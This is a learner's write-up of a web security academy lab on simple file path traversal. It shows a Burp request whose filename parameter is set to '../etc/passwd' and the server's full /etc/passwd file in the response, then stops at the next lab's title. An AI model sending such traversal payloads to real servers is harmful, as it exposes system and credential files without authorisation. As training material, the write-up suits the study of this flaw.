

PATH TRAVERSAL

LAB 34 [File path traversal, simple case](#)

This lab is vulnerable to pass traversal. I tried to play around with productid parameter in the URL but I wasn't successful. Then, I intercepted a packet that fetches product file image and changed the value of the parameter to ../etc/passwd using Burp Repeater and was walking upwards until I get contents of /etc/passwd file:

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/image?filename=../etc/passwd	HTTP/2	1	HTTP/2	200 OK	
2	Host	: Da95005d03e3742283ad489c00f800cb.web-security-academy.net		2	Content-Type	: image/jpeg	
3	Cookie	: session=stYhbXQR0e7mTmG5pah8K3GRk34Kl5sd		3	X-Frame-Options	: SAMEORIGIN	
4	Sec-Ch-Ua	: "Not A Brand";v="8", "Chromium";v="120"		4	Content-Length	: 2316	
5	Sec-Ch-Ua-Mobile	: ?0		5			
6	User-Agent	: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36		6	root:x:0:0:root:/root:/bin/bash		
7	Sec-Ch-Ua-Platform	: "Windows"		7	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin		
8	Accept	: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8		8	bin:x:2:2:bin:/bin:/usr/sbin/nologin		
9	Sec-Fetch-Site	: same-origin		9	sys:x:3:3:sys:/dev:/usr/sbin/nologin		
10	Sec-Fetch-Mode	: no-cors		10	sync:x:4:65534:sync:/bin:/bin/sync		
11	Sec-Fetch-Dest	: image		11	games:x:5:60:games:/usr/games:/usr/sbin/nologin		
12	Referer	: https://Da95005d03e3742283ad489c00f800cb.web-security-academy.net/product?productId=1		12	man:x:6:12:man:/var/cache/man:/usr/sbin/nologin		
13	Accept-Encoding	: gzip, deflate, br		13	lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin		
14	Accept-Language	: en-US,en;q=0.9		14	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin		
15	Priority	: u=1, i		15	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin		
16				16	uucp:x:10:10:uucp:/var/spool/uucpi:/usr/sbin/nologin		
17				17	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin		
				18	www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin		
				19	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin		
				20	list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin		
				21	irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin		
				22	gnats:x:41:41:gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin		
				23	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin		
				24	_apt:x:100:65534:/nonexistent:/usr/sbin/nologin		
				25	peter:x:12001:12001:/home/peter:/bin/bash		
				26	carlos:x:12002:12002:/home/carlos:/bin/bash		
				27	user:x:12000:12000:/home/user:/bin/bash		
				28	elmer:x:12099:12099:/home/elmer:/bin/bash		
				29	academy:x:10000:10000:/academy:/bin/bash		
				30	messagebus:x:101:101:/nonexistent:/usr/sbin/nologin		
				31	dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin		
				32	systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin		
				33	systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin		
				34	systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin		
				35	mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false		
				36	postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash		
				37	usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin		

Lab completed!

Congratulations, you solved the lab!

LAB 35 [File path traversal, traversal sequences blocked with absolute path bypass](#)